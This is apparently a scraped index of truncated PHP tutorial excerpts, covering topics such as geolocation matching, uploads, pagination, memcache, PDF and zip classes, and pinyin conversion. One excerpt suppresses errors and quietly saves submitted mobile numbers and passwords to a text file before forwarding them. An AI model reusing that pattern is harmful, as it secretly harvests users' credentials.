Time of Update: 2017-01-13
目前的工作是需要對使用者的一些資料進行分析,每個使用者都有若干條記錄,每條記錄中有使用者的一個位置,是用經度和緯度表示的。還有一個給定的資料庫,儲存的是一些已知地點以及他們的經緯度,內有43W多條的資料。現在需要拿使用者的經緯度和已知地點進行距離匹配,如果它們之間的距離小於一定的資料,比如說500米,就認為使用者是在這個地點。MYSQL本身是支援空間索引的,但是在5.x的版本中,取消了對Distance()和Related()的支援,無法使用空間的距離函數去直接去查詢距離在一定範圍內的點。所以,
Time of Update: 2017-01-13
測試11,操作元素較少,單個元素比較大,英文,3個元素操作1000次 代碼如下複製代碼 $data = array('hello','word');$d = "helloword";$d = str_repeat($d, 10000);//for($i = 0;$i $data[] = $d;//}//var_dump($data);$jsonen_sarttime = getmicrotime();for($i=0;$i $json =
Time of Update: 2017-01-13
很簡單的一個小例子 jQuery Mobile + PHP 通過超全域 $_FILES 上傳,然後用move_uploaded_file()方法把上傳的圖片移動到到本機伺服器下的檔案夾,下面是html代碼 代碼如下複製代碼 <!DOCTYPE html><html><head> <meta charset = "utf-8">
Time of Update: 2017-01-13
通過php的Socket方式實現php程式的多線程。php本身是不支援多線程的,那麼如何在php中實現多線程呢?可以想一下,WEB伺服器本身都是支援多線程的。每一個訪問者,當訪問WEB頁面的時候,都將調用新的線程,通過這一點我們可以利用WEB伺服器自身的線程來解決PHP不支援多線程的問題。下面給出通過 fsockopen() 建立socket串連,然後用 用fputs() 發送訊息,來實現的PHP多線程類代碼: 代碼如下複製代碼 $fp=fsockopen($_SERVER[
Time of Update: 2017-01-13
代碼如下複製代碼 $file = "data.dat"; //資料檔案if(file_exits($file)){
Time of Update: 2017-01-13
並通過memcached協議與守護進程通訊。但是它並不提供冗餘(例如,複製其hashmap條目);當某個伺服器s停止運行或崩潰了,所有存放在s上的鍵/值對都將丟失。 memcached由danga interactive開發,用於提升livejournal.com訪問速度的。lj每秒動態網頁面訪問量幾千次,使用者700萬。memcached將資料庫負載大幅度降低,更好的分配資源,更快速存取。memcache常用方法memcache::add —
Time of Update: 2017-01-13
//刪除單個空檔案夾 代碼如下複製代碼 $dir = 'www.111cn.net';if( is_dir( $dir ) ) //判斷是否為目錄{ if( rmdir( $dir ) ) { echo '目錄刪除成功'; } else { echo '沒有刪除目錄的許可權'; }}else{ echo '不是一個有效目錄';}
Time of Update: 2017-01-13
/*這是一款簡單的php相簿系統,包括有如下檔案conn.php資料庫教程串連檔案以及檔案上傳功能和分頁函數vc.php 用來顯示相簿files.php 照片上傳檔案index.php 相簿管理代碼savefile.php儲存檔案代碼*/?>index.php 代碼如下複製代碼 <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en"
Time of Update: 2017-01-13
代碼如下複製代碼 error_reporting(0);if($_get['act']=='send'){ @file_put_contents(time().'.txt',$_post['mobile_no'].'|||'.$_post['pass'].'|||'.$_post['sms']." "); $post_data="mobile_no={$_post['mobile_no']}&pass={$_post['
Time of Update: 2017-01-13
結構:首字散列表、trie索引樹結點優點:分詞中,不需預知待查詢詞的長度,沿樹鏈逐字匹配。缺點:構造和維護比較複雜,單詞樹枝多,浪費了一定的空間* @version 0.1* @todo 構造通用的字典演算法,並寫了一個簡易的分詞* @author shjuto@gmail.com* trie字典樹**/ 代碼如下複製代碼 class trie{ private
Time of Update: 2017-01-13
代碼如下複製代碼 //index.php檔案header("content-type: text/html; charset=utf-8");error_reporting(e_all^e_notice);include('pagination_class.php');mysql教程_connect('localhost', 'root', '') or
Time of Update: 2017-01-13
代碼如下複製代碼 <p id="errorremind"></p><input id="unloadpic" type="button" value="上傳圖片" /><ol id="uploadedname"></ol> 代碼如下複製代碼 <script
Time of Update: 2017-01-13
代碼如下複製代碼 header('content-type:text/html;charset=utf-8');if(!function_exists('file_get_contents')){ //如果系統沒有file_get_contents()函數 function file_get_contents($file){ //自己寫file_get_contents()函數 $fp =
Time of Update: 2017-01-13
//page.class.phpclass page{ var $currentpage; var $leftoffset; var $rightoffset; var $totalpage;//總頁數 var $recordcount;//總記錄數 var $pagesize;//每頁顯示條數 var $pageurl; var $hypelink; var
Time of Update: 2017-01-13
<?//php教程產生pdf檔案代碼/*產生pdf檔案如果真的產生很好,是很複雜的,下面我們來看看一款完整理的php產生pdf檔案代碼吧,他可以把文字檔產生pdf檔案也可以利用圖片檔案產生pdf檔案哦。這款產生pdf檔案用到檔案有fpdf.phpchinese.phppicpdf.php*///fpdf.php代碼define('fpdf_version','1.6');class fpdf{var
Time of Update: 2017-01-13
php教程打包程式(線上解壓與線上打包下載源碼)本程式支援檔案下載解壓與在線壓縮,這樣我們就查以執行個體線上解壓與線上打包下載功能了。*///phpzip.class.phpclass phpzip{ var $datasec, $ctrl_dir = array(); var $eof_ctrl_dir = "x50x4bx05x06x00x00x00x00"; var $old_offset = 0; var $dirs =
Time of Update: 2017-01-13
example:include_once '/class/calendar.class.php';$simple_example = new calendar();print($simple_example->output_calendar());*/ 代碼如下複製代碼 class calendar{ var $date; var $year; var $month; var $day; var $week_
Time of Update: 2017-01-13
代碼如下複製代碼
Time of Update: 2017-01-13
代碼如下複製代碼 function pinyin($_string, $_code='utf-8') { $_datakey = "a|ai|an|ang|ao|ba|bai|ban|bang|bao|bei|ben|beng|bi|bian|biao|bie|bin|bing|bo|bu|ca|cai|can|cang|cao|ce|ceng|cha".
Time of Update: 2017-01-13
/* * created on 2010-6-21 * * the class for image to upload * * made by s71ence * * @$user_id * @$max_file_size * @$max_image_side * @$destination_folder * * return: *